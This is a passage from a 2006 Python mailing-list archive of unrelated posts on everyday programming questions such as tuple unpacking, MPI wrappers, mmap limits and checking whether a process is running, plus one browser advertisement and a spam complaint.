Date: Sat, 21 Oct 2006 22:12:55 +0200
Subject: why does this unpacking work
In-Reply-To: <%ba_g.133$1n3.3373@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161373003.141096.277510@i42g2000cwa.googlegroups.com>
	<%ba_g.133$1n3.3373@news.tufts.edu>
Message-ID: <453a7aef$0$26136$426a74cc@news.free.fr>

John Salerno a ?crit :
> johnzenger at gmail.com wrote:
> 
>> It's just sequence unpacking.  Did you know that this works?:
>>
>> pair = ("California","San Francisco")
>> state, city = pair
>> print city
>> # 'San Francisco'
>> print state
>> # 'California'
> 
> 
> Yes, I understand that. What confused me was if it had been written like 
> this:
> 
> pair = (("California","San Francisco"))


Python 2.4.1 (#1, Jul 23 2005, 00:37:37)
[GCC 3.3.4 20040623 (Gentoo Linux 3.3.4-r1, ssp-3.3.2-2, pie-8.7.6)] on 
linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> (("California","San Francisco")) == ("California","San Francisco")
True
pair = "California","San Francisco"
 >>> pair
('California', 'San Francisco')
 >>> t = 1,
 >>> t
(1,)
 >>> t = 1, 2
 >>> t
(1, 2)
 >>>

HTH





From mitko at qlogic.com  Fri Oct 20 19:13:17 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Fri, 20 Oct 2006 16:13:17 -0700
Subject: Python with MPI enable C-module
In-Reply-To: <1161265860.684651.91210@k70g2000cwa.googlegroups.com>
References: <1161265860.684651.91210@k70g2000cwa.googlegroups.com>
Message-ID: <20061020161317.2beaa984@opal.pathscale.com>

On 19 Oct 2006 06:51:00 -0700
"dfj225 at gmail.com" <dfj225 at gmail.com> wrote:

> 1) Would setting up an environment like this require modifying the
> Python interpreter or the C++ module that is being wrapped? What I'm
> hoping is that the C++ module can go on happily doing MPI operations
> despite the fact that it is actually being called by the Python
> interpreter.

If I am understanding you correctly, you have a Python module which
calls into the C++ library to do the actual MPI operations. If that is
the case, then there should be any problems just calling the Python
wrappers. The MPI library should be unaffected. It would be the same as
having your node programs call into the C++ library, now you just have
one more layer of abstraction.

> 2) Would it be possible to spawn these Python processes using mpiexec
> (or something similar), or would I need to use some of the MPI-2
> features to dynamically set up the MPI environment?

If you are writing a Python wrapper to the MPI library, then the
wrapper will be just like a module and not a self sustained program. If
that is the case, mpiexec/mpirun/mpd would not be able to do anything
since they expect to start a program that has main()/__main__.

> 3) Has anyone accomplished something like this already? I know there
> are extensions and modules that add MPI functionality to Python, but
> I'm hoping they could be avoided, since the Python code itself should
> never really have to be aware of MPI, only the C++ module that has
> already been written.

Haven't done it but from what I know about MPI and Python, it is
possible.

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From gagsl-py at yahoo.com.ar  Thu Oct 19 16:26:06 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 17:26:06 -0300
Subject: proper format for this database table
In-Reply-To: <qWQZg.119$1n3.3371@news.tufts.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
Message-ID: <7.0.1.0.0.20061019171647.05a861f0@yahoo.com.ar>

At Thursday 19/10/2006 17:07, John Salerno wrote:

>Hi guys. I was wondering if someone could suggest some possible
>structures for an "Education" table in a database. It will contain at
>minimum university names, years of attendance, and degrees earned. My
>problem is that I don't know quite how to set this up for people who
>have attended multiple universities. I could do:
>
>university text DEFAULT NULL,
>yearStart integer DEFAULT NULL,
>yearEnd integer DEFAULT NULL,
>degreesEarned text DEFAULT NULL
>
>But this only allows for one university. (Also not sure if I should
>split up the years like that.) But mainly I'm looking for a way to
>construct this table so it can hold multiple universities, if necessary.

The relationship should be 1:n between a Person and its Education records.
Person 1<--->n Education
so just add a PersonId to the table and you're done.
Depending on your needs, later university and degreesEarned may 
become entities instead of simple text attributes.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From ebgssth at gmail.com  Thu Oct 12 11:45:19 2006
From: ebgssth at gmail.com (js )
Date: Fri, 13 Oct 2006 00:45:19 +0900
Subject: prefix search on a large file
In-Reply-To: <a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>
References: <mailman.365.1160642731.11739.python-list@python.org>
	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>
	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>
Message-ID: <a23effaf0610120845j13618282qe43c4a0a2f9cb2f9@mail.gmail.com>

By eliminating list cloning, my function got much faster than before.
I really appreciate you, John.

def prefixdel_recursively2(alist):
    if len(alist) < 2:
	return alist

    first = alist.pop(0)
    unneeded = [no for no, line in enumerate(alist) if line.startswith(first)]
    adjust=0
    for i in unneeded:
        del alist[i+adjust]
	adjust -= 1

    return [first] + prefixdel_recursively(alist)


process stime
prefixdel_stupidly         : 11.9247150421
prefixdel_recursively   : 14.6975700855
prefixdel_recursively2 : 0.408113956451
prefixdel_by_john        : 7.60227012634


From kwevans at gmail.com  Tue Oct 17 08:43:36 2006
From: kwevans at gmail.com (kevin  evans)
Date: 17 Oct 2006 05:43:36 -0700
Subject: Newbie: datetime conversion question
Message-ID: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>

Hi,
I'm trying to convert some code from Ruby to Python, specifically..

timestamp = "%08x" % Time.now.to_i

Make a hex version of the current timestamp. Any ideas how best to do
this in python gratefully received..



From ardsrk at gmail.com  Sun Oct 29 22:41:17 2006
From: ardsrk at gmail.com (ArdPy)
Date: 29 Oct 2006 19:41:17 -0800
Subject: I want to work on Python
Message-ID: <1162179677.547593.17660@k70g2000cwa.googlegroups.com>

Hi there, these days I am desperately searching everywhere on the
Internet for part time python jobs. The reason is I want to get
actively involved with python programming and get some practical
exposure. Please help me in whatever way you can.



From ptmcg at austin.rr._bogus_.com  Wed Oct  4 11:34:35 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 15:34:35 GMT
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <fwQUg.25429$DU3.12165@tornado.texas.rr.com>

<andrea.spitaleri at gmail.com> wrote in message 
news:1159967361.355323.201050 at m7g2000cwm.googlegroups.com...
> Hi guys,
> this is my first post. my "programming" background is perlish scripting
> and now I am learning python. I need to create a dictionary of list
> from a file. Normally in perl I use to do like:
>
> while(<IN>){
>          @info=split(/ +/,$_);
>          push (@{$tmp{$info[0]}},$info[1]);
> }
>
> and then
> foreach $key (keys %tmp){
>           print "$key -> @{$tmp{$key}}\n";
> }
> i get
>
> 2 -> 1  2 3 4
> 7 -> 7 8 9 10
>
> in python I tried:
> b={}
> a=[]
> for line in fl.readlines():
>         info=lines.split()
>         b[info[0]] = a.append(info[1])
>
> and then
> for i in b:
>     print i,b[i]
> i get
> 2 None
> 7 None
>
> data file is:
> 2 1
> 2 2
> 2 3
> 2 4
> 7 7
> 7 8
> 7 9
> 7 10
>
> Any help??
> Thanks in advance
> Best Regards
>
> Andrea
>

I'll see your perlish line noise, and raise you this obfuscapython:  :)

data = """\
2 1  2 3 4
  7 7 8 9 10
5 1 3 5 7 9
2 6 8 10""".split('\n')  # similar to file.readlines(), but easier to paste 
into news post
import operator, itertools
item = operator.itemgetter
b = dict( (k,sum(map(lambda g:g[1:],grps),[]))
             for (k,grps) in itertools.groupby( sorted( 
map(str.split,data) ), item(0) ) )
for item in sorted(b.items()):
    print "%s -> %s" % item

prints:
2 -> ['1', '2', '3', '4', '6', '8', '10']
5 -> ['1', '3', '5', '7', '9']
7 -> ['7', '8', '9', '10']

-- Paul




From duncan.booth at invalid.invalid  Sun Oct  8 05:49:43 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 8 Oct 2006 09:49:43 GMT
Subject: A critique of cgi.escape
References: <ef37im$5hj$1@lust.ihug.co.nz> <eg972j$2h8$1@lust.ihug.co.nz>
Message-ID: <Xns98566E26ECF6Aduncanbooth@127.0.0.1>

Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:

> Another useful function is this:
> 
>     def JSString(Str) :
>         """returns a JavaScript string literal that evaluates to Str.
>         Note I'm not worrying about non-ASCII characters for now."""
<snip>

Here is a shorter alternative that handles non-ASCII sequences provided you 
pass in unicode:

def JSString(s):
	return repr(unicode(s))[1:]

>>> print JSString(u"\u201chi there!\u201d")
'\u201chi there!\u201d'
>>> print JSString("Hello world")
'Hello world'
>>> print JSString("Hello 'world'")
"Hello 'world'"

For ascii strings you could also use the string-escape codec, but strangely 
the unicode-escape codec doesn't escape quotes.


From grahn+nntp at snipabacken.dyndns.org  Wed Oct  4 10:35:39 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 4 Oct 2006 14:35:39 GMT
Subject: How can I correct an error in an old post?
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
Message-ID: <slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>

On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden <steve at holdenweb.com> wrote:
> Jorgen Grahn wrote:
>> On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com <barakad at gmail.com> wrote:
>> ....
>> 
>>>and I wish to add my findings to the post, to prevent others from
>>>taking the wrong path.
...
>> In Usenet terms, make a posting with a References: header which mentions the
>> Message-ID of the bad posting (just like this posting references yours, if
>> you look closely at the headers).  That's easier if the posting hasn't
>> already expired on your server, but by no means impossible if it has.
>> 
>> /Jorgen
>> 
> Since this message was never on topic,

I disagree; it was a technical question on how to handle a discussion in
this newsgroup, and IMHO that is always on topic -- to a certain point.

> I'd appreciate it if all 
> concerned would close this thread now.

I think you are overreacting. This was a thread with three (3) postings, in
a high-volume newsgroup, with no indication that it would continue (except
maybe with a pointer to whatever posting the OP wanted to correct, or to his
correction).

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From chris.cavalaria at free.fr  Wed Oct 18 06:09:49 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Wed, 18 Oct 2006 12:09:49 +0200
Subject: Python Web Site?
In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <4535fd6a$0$21879$426a74cc@news.free.fr>

*% a ?crit :
> Is there a problem with the Python and wxPython web sites?  I cannot
> seem to get them up, and I am trying to find some documentation...
> 
> 	Thanks,
> 	Mike

All the sites hosted on sourceforge that rely on their vhost computer ( 
ie, site hosted on sourceforge that do not display the sourceforge.net 
address ) are broken. You get a blank page instead.

http://wxpython.sourceforge.net/ works
http://wxpython.org/ doesn't work


It has been like that for a few hours already.


From piet at cs.uu.nl  Tue Oct 10 13:08:45 2006
From: piet at cs.uu.nl (Piet van Oostrum)
Date: Tue, 10 Oct 2006 19:08:45 +0200
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
Message-ID: <m2wt782j4y.fsf@ordesa.local>

>>>>> Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> (SD) wrote:

>SD> Despite sloppy talk to the contrary (which I think most of us do from time
>SD> to time), Python doesn't have variables. It has names and objects. Names
>SD> are just labels -- there is no difference in behavior between the *names*
>SD> this_is_an_integer and this_is_a_string. (The *objects* they point to are
>SD> a different story, naturally.)

The official Python documentation (language reference manual) talks a lot
about variables. So it seems silly to say that Python doesn't have
variables.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4]
Private email: piet at vanoostrum.org


From __peter__ at web.de  Sun Oct 29 08:50:40 2006
From: __peter__ at web.de (Peter Otten)
Date: Sun, 29 Oct 2006 14:50:40 +0100
Subject: enumerate improvement proposal
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
Message-ID: <ei2bjh$u4f$01$1@news.t-online.com>

James Stroud wrote:

> I think that it would be handy for enumerate to behave as such:
> 
> def enumerate(itrbl, start=0, step=1):
>    i = start
>    for it in itrbl:
>      yield (i, it)
>      i += step
> 
> This allows much more flexibility than in the current enumerate,
> tightens up code in many cases, and seems that it would break no
> existing code. Yes, I have needed this behavior with enumerate, like
> tonight and the current example. I put the "step" parameter in for
> conceptual symmetry with slicing.
> 
> Here is a case use (or is it use case?):

I don' think you have a use case here:

# untested
def find_interval(value, bounds, funny_offset=0, reverse=False):
    bounds = sorted(bounds)
    if reverse:
        index = len(bounds) - bisect.bisect_left(bounds, value)
    else:
        index = bisect.bisect_right(bounds, value)
    return index + funny_offset

You can tell by its name which of the arguments I would have omitted :-)

> Of course, I haven't used step here. 

That seems to be typical. The only use case I've ever come across is start=1
for output aimed at a human reader.

> Even in this trivial example the 
> proposed enumerate cleans the code and logic, eliminating a couple of
> plus signs. For this real-world example, the practical requirement for
> reversing the bins obfuscates somewhat the de-obfuscation provided by
> the proposed enumerate. But I think that it might be obvious that the
> proposed enumerate could help significantly in cases a bit more
> complicated than this one.

Of course you get these claimed advantages from a self-written function,
too.

> Any thoughts?

You have my support for adding a start parameter to enumerate(). I fear it
won't make a difference.

Peter


From paolopantaleo at gmail.com  Sat Oct 14 10:27:23 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Sat, 14 Oct 2006 16:27:23 +0200
Subject: locals() and globals()
Message-ID: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com>

Hi

this exaple:

def lcl():
    n=1
    x=locals()
    x["n"]=100
    print "n in lcl() is:" +str(n)
    #This will say Name error
    #x["new"]=1
    #print new


n=1
x=globals()
x["n"]=100
print "gobal n is:" +str(n)
x["new"]=1
print "new is:" +str(new)
lcl()

produces

gobal n is:100
new is:1
n in lcl() is:1

shouldn't be n in lcl() 100 too?

why accessing the names dictionary globals() and locals() gives
different results?
This example was made using
Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32

PAolo


From antoine at vo.lu  Tue Oct 24 06:15:20 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Tue, 24 Oct 2006 12:15:20 +0200
Subject: can't open word document after string replacements
In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
Message-ID: <2d742$453de7b5$544abf75$16552@news.hispeed.ch>

Thank you all for your comments.

I ended up saving the word document in XML and then using (a slightly 
modified version of) my script of the OP. For those interested, there 
was also a problem with encodings.

Regards,
antoine


From fredrik at pythonware.com  Mon Oct  2 12:57:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 02 Oct 2006 18:57:27 +0200
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <4520E5E1.3040409@googlemail.com>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>	<efjbhh$d9m$1@sea.gmane.org>
	<4520E5E1.3040409@googlemail.com>
Message-ID: <efrgdo$38q$1@sea.gmane.org>

Hari Sekhon wrote:

> How exactly do you check that the pid is still active in python? Is 
> there a library or something that will allow me to manipulate system 
> processes and listings etc the way everybody does in unix shells....

by passing zero to the os.kill primitive:

	os.kill(pid, 0)

if this raises an OSError, there's no active process with the given pid.

> I'm a huge fan of shell so I've done my own thing which leans on shell 
> as follows:
> 
> import sys,commands,os
> 
> scriptpath = sys.argv[0]
> scriptname = os.path.basename(scriptpath)
> 
> number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc 
> -l' % scriptpath)
> 
> if number_procs > 1:
>     print "There appears to be another %s process running." % scriptname

what if you have commands with overlapping names (e.g. "bar.py" and 
"foobar.py"), or some other user on the machine happens to run a
command that, on purpose or by accident, contains your script's name 
(e.g. "emacs mybar.py") ?

</F>



From ed at leafe.com  Mon Oct 23 15:24:47 2006
From: ed at leafe.com (Ed Leafe)
Date: Mon, 23 Oct 2006 15:24:47 -0400
Subject: Getting a lot of SPAM from this list
In-Reply-To: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
Message-ID: <534221F6-A111-4460-AFB8-5E99EE44FEE0@leafe.com>

On Oct 23, 2006, at 3:13 PM, Larry at bag.python.org, "Bates <Larry  
Bates <larry dot bates at websafe dot  com>"@bag.python.org wrote:

> I'm getting a lot of spam to the email address I use to post
> to this list.  Since this email address doesn't appear elsewhere,
> I know that people are scanning this list to get the email
> address and spam me.  Does anyone have a suggestion as to a
> way that I can get less of this spam?  I could have another
> email address, but that won't help as I'd still get the spam
> and have to wade through it.  I'm running spamassassin, but it
> isn't catching all that much of it.  Any suggestions would be
> greatly appreciated.

	Spammers don't scan lists as much anymore; they now rely on machines  
infected with malware to extract addresses out of email programs. I  
know this doesn't help you, but it is good to recognize that it isn't  
always the fault of the list admins.

	I have an advantage in that I run my own mail server, and can create  
as many aliases to my account as I like. When a particular address  
"goes bad", I change that alias to point to /dev/null, and create a  
new one. If it's an alias for a list, I first unsub using the old  
alias, and then re-sub with the new one.

-- Ed Leafe
-- http://leafe.com
-- http://dabodev.com




From rpdooling at gmail.com  Wed Oct 25 23:32:55 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 25 Oct 2006 20:32:55 -0700
Subject: What's the best IDE?
In-Reply-To: <1161824491.759664.271570@f16g2000cwb.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161824491.759664.271570@f16g2000cwb.googlegroups.com>
Message-ID: <1161833575.641844.48740@f16g2000cwb.googlegroups.com>

>> Vim
>> you'll be frustrated for about a week,

You'll be frustrated for at least two weeks. But you'll use it forever
for everything from writing to programming, so who cares?

Auto completion is called omni completion in VIM

type ':h new-omni-completion' at the command line after two weeks of
frustration.

rd



From g.brandl-nospam at gmx.net  Sat Oct 28 06:37:10 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sat, 28 Oct 2006 12:37:10 +0200
Subject: Import if condition is correct
In-Reply-To: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
Message-ID: <ehvbso$1k3$1@news.albasani.net>

MindClass wrote:
> Is possible import a library according to a condition?
> 
> if Foo = True:
>     import bar
> 

Why don't you try it?

(in the above code, not the import is the problem, but using the
assignment operator in an expression)

Georg


From wildemar at freakmail.de  Tue Oct  3 05:44:51 2006
From: wildemar at freakmail.de (Wildemar Wildenburger)
Date: Tue, 03 Oct 2006 11:44:51 +0200
Subject: Howto pass Array/Hash into Function
In-Reply-To: <1159867755.636060.48790@m7g2000cwm.googlegroups.com>
References: <mailman.1148.1159867444.10491.python-list@python.org>
	<1159867755.636060.48790@m7g2000cwm.googlegroups.com>
Message-ID: <45223113.2060703@freakmail.de>

MonkeeSage wrote:
> Wijaya Edward wrote:
>> I wonder how can that be done in Python.
> 
> def myfunc(plain_var, hash_ref, arref):
>   # Do sth with those variables
>   return

At the risk of being a jerk (sorry, I'm really just curious):
Why isn't that obvious?

wildemar (sorry)


From rpdooling at gmail.com  Fri Oct 20 02:40:08 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 19 Oct 2006 23:40:08 -0700
Subject: help with my first use of a class
In-Reply-To: <F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
Message-ID: <1161326408.382462.40150@k70g2000cwa.googlegroups.com>

Wow,

That's great, James.

Thanks. I shall put it together.

Appreciate it.

rd



From bj_private at yahoo.com  Sun Oct 22 03:45:24 2006
From: bj_private at yahoo.com (bj_private at yahoo.com)
Date: 22 Oct 2006 00:45:24 -0700
Subject: A very nice free browser to try...
Message-ID: <1161503124.710374.286500@f16g2000cwb.googlegroups.com>

Hi Guys,

There's a very nice browser that is called Smart Bro. I think this
browser is the best browser in the market. It has:

1. Very nice and clean interface.
2. Tabbed browsing.
3. History Cleaner.
4. Popup killer.
5. Form filler.
6. RSS reader.
7. Flash filter.

And best of all it's free. I think you should try it.

You can download it from here http://www.smartbro.com

Best regards, 
John



From picioslug at gmail.com  Mon Oct 23 16:16:54 2006
From: picioslug at gmail.com (Picio)
Date: 23 Oct 2006 13:16:54 -0700
Subject: Rabbit Modules - Dynamic C - Python
Message-ID: <1161634614.172031.156720@h48g2000cwc.googlegroups.com>

Hello,
I would wonder if anyone knows something about programming with
Python, Rabbit Core Modules, that normally were programmed with Dynamic
C.

I mean either:
- something like using python to create code in dynamic suitable for
the rabbit core
- writing machine code for the rabbit core using a python API.

Sorry if I'm not using the rights technicals words.

Picio



From tim.golden at viacom-outdoor.co.uk  Wed Oct 11 05:27:12 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Wed, 11 Oct 2006 10:27:12 +0100
Subject: How to find a file or a device is currently used by which
	processor which program ?
In-Reply-To: <452B572C.6020303@gmail.com>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B524@vogbs009.gb.vo.local>

[fdu.xiaojf at gmail.com]

| When I want to uninstall my usb disk on windows, the 
| operating systems 
| sometimes tells me the device is being used by other program. But I 
| can't find which program is using it. Can I do this using python ?

This is really one of those questions that could better
be rephrased: can I do this *without* using Python? By
which I mean: there's nothing built into Python or its
standard libraries which will determine which open program
is holding which files open on your filesystem. I'm quite
certain there exists some more or less brute-force 
technique for this in Windows in general, but you'd really
have to find that, and then determine how to do it in
Python.

(Bit of Googling later...)
I suggest you look at the Handle util from sysinternals.com
(always a good place to start looking for these kind of
things):

http://www.sysinternals.com/utilities/handle.html

You can run it against a directory or a specific file
and its output it fairly parseable. Example, where I
have a python process holding open a "temp.tmp" file
my c:\temp directory:

<dump>
C:\>handle c:\temp

Handle v3.2
Copyright (C) 1997-2006 Mark Russinovich
Sysinternals - www.sysinternals.com

cmd.exe            pid: 4260      C: C:\temp
python.exe         pid: 5296     58: C:\temp\temp.tmp
cmd.exe            pid: 5232     94: C:\temp
python.exe         pid: 2672     94: C:\temp

C:\>
</dump>

You could use the subprocess module (or its predecessors) to
scan the output fairly easily, I imagine. What you with the 
process name / id is up to your needs, of course :)

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
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From fredrik at pythonware.com  Tue Oct 24 02:00:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 08:00:44 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161651470.010831.93400@m73g2000cwd.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651470.010831.93400@m73g2000cwd.googlegroups.com>
Message-ID: <ehka6b$no3$2@sea.gmane.org>

sturlamolden wrote:

> Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap"
> always sets the offset argument in Windows' MapViewOfFile and UNIX'
> mmap to 0. This means that it is always mapping from the beginning of
> the file. Thus, Python's mmap module is useless for large files. This
> is really bad coding. The one that wrote mmapmodule.c didn't consider
> the possibility that a 64 bit file system like NTFS can harbour files
> to large to fit in a 32 address space. Thus, mmapmodule.c needs to be
> fixed before it can be used for large files.

if you've gotten that far, maybe you could come up with a patch, instead 
of stating that someone else "needs to fix it" ?

</F>



From duncan.booth at invalid.invalid  Wed Oct  4 14:59:06 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 4 Oct 2006 18:59:06 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<uCSUg.25441$DU3.1079@tornado.texas.rr.com>
Message-ID: <Xns9852CB4F1A5A5duncanbooth@127.0.0.1>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote:

> By contrast, a set (and also the keys in a dict) use a tree structure
> to index more quickly into the list of items

'dict' and I believe also 'set' use a hash table, not a tree structure.


From __peter__ at web.de  Mon Oct 23 04:35:04 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Oct 2006 10:35:04 +0200
Subject: Problems trying to override __str__ on path class
References: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>
	<ehggfk$60i$00$1@news.t-online.com>
	<Xns9864C70166F52kojaklikescheerios@144.162.164.191>
Message-ID: <ehhund$1fi$00$1@news.t-online.com>

Mike Krell wrote:

> Peter Otten <__peter__ at web.de> wrote in
> news:ehggfk$60i$00$1 at news.t-online.com:
>  
>> I get
>> 
>> np: "overridden __str__: c:/mbk/test"
>> str(np): "overridden __str__: c:/mbk/test"
>> overridden __str__: overridden __str__: c:/mbk/test/appendtest
> 
> Hmmm.  I guess you're not running under windows, since normpath()
> converts / to \ on windows.  I wonder if that's part of the problem.
> 
>  
>> Are you using the latest version of the path module?
> 
> My path.py says it's 2.1, which is the latest according to the site.
> 
>  Older versions
>> implied a Path() call in the __div__() operator which would explain at
>> least the output you get for
>> 
>> print np / 'appendtest'
> 
> You've lost me here.  What do you mean about "implied a Path() call"?
> Here is the definition of __div__ from path.py:
> 
> '''
>     # The / operator joins paths.
>     def __div__(self, rel):
>         """ fp.__div__(rel) == fp / rel == fp.joinpath(rel)
> 
>         Join two path components, adding a separator character if
>         needed.
>         """
>         return self.__class__(os.path.join(self, rel))
> '''

>From http://www.jorendorff.com/articles/python/path/changes.html:

"""
This page describes recent changes to the Python path module.

2.1

[...]

Better support for subclassing path. All methods that returned path objects
now respect subclassing.

Before: type(PathSubclass(s).parent) is path

Now: type(PathSubclass(s).parent) is PathSubclass
"""

So my assumption was that you are using a pre-2.1 version of path.
I suggest that you double-check that by inserting a

print path.__version__

into the code showing the odd behaviour before you start looking for more
exotic causes.

> I still don't understand the TypeError in the delegation case.

For newstyle classes

a = A()
a / 42 # or any other operation implemented via __xxx__()

(unlike a.__div__) will only look into the class for a __div__() special
method and ignore methods defined in the instance or via the __getattr__()
mechanism.

For delegation to work you need (untested)

class NormPath(object):
   def __div__(self, other):
       return self.__class__(self._path / other)
   # ...

Peter


From edreamleo at charter.net  Sat Oct 21 10:11:10 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Sat, 21 Oct 2006 09:11:10 -0500
Subject: ANN: Leo 4.4.2 beta 3 released
Message-ID: <7Up_g.432$iA1.249@newsfe05.lga>

Leo 4.4.2 beta 3 is available at:
http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106

The beta release fixed dozens of bugs and smoothed many rough edges.  There
are no known major bugs in Leo.  This will be the last beta release before
Loo 4.4.2 final.

Leo is a text editor, data organizer, project manager and much more. See:
http://webpages.charter.net/edreamleo/intro.html

The highlights of Leo 4.4.2:
----------------------------
- You can now store settings in myLeoSettings.leo without fear of those
   settings being changed by cvs updates or in future versions of Leo.
- Leo's vnode and tnode classes are now completely independent of the rest
of Leo.
  Some api's have been changed.  This 'big reorg' and may affect scripts and
plugins.
- Leo's vnode and tnode classes can optionally be compatible with ZODB
  databases, i.e., they can optionally derive from
ZODB.Persistence.Persistent.
  See Chapter 17: Using ZODB with Leo for details.
- The leoOPML plugin defines commands to read and write OPML files.
- The slideshow plugin allows Leo to run slideshows defined by @slideshow
  and @slide nodes.
- The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo
outlines.
- Much faster navigation through the outline.
- When focus is in the outline pane, you can move to headlines by typing the
  first letter of headlines.
- The find command now optionally closes nodes not needed to show the node
  containing the present match.
- Numerous changes that make Leo easier to use without using a mouse,
  including new commands and options.
- Many new minibuffer commands now appear in the Cmds menu.
- A sax parser can now optionally read .leo files.
- Fixed numerous bugs.

Quote of the month:
------------------
For the non-leo python project I'm (supposed to be) working on, I'm
switching from emacs to leo :-)
-- Terry Brown

Links:
------
Leo:        http://webpages.charter.net/edreamleo/front.html
What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html
Home:       http://sourceforge.net/projects/leo/
Download:   http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:        http://leo.tigris.org/source/browse/leo/
Quotes:     http://webpages.charter.net/edreamleo/testimonials.html

--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------





From tim.peters at gmail.com  Sat Oct  7 13:42:03 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 7 Oct 2006 13:42:03 -0400
Subject: Python to use a non open source bug tracker?
In-Reply-To: <H_IVg.138311$zy5.1854132@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
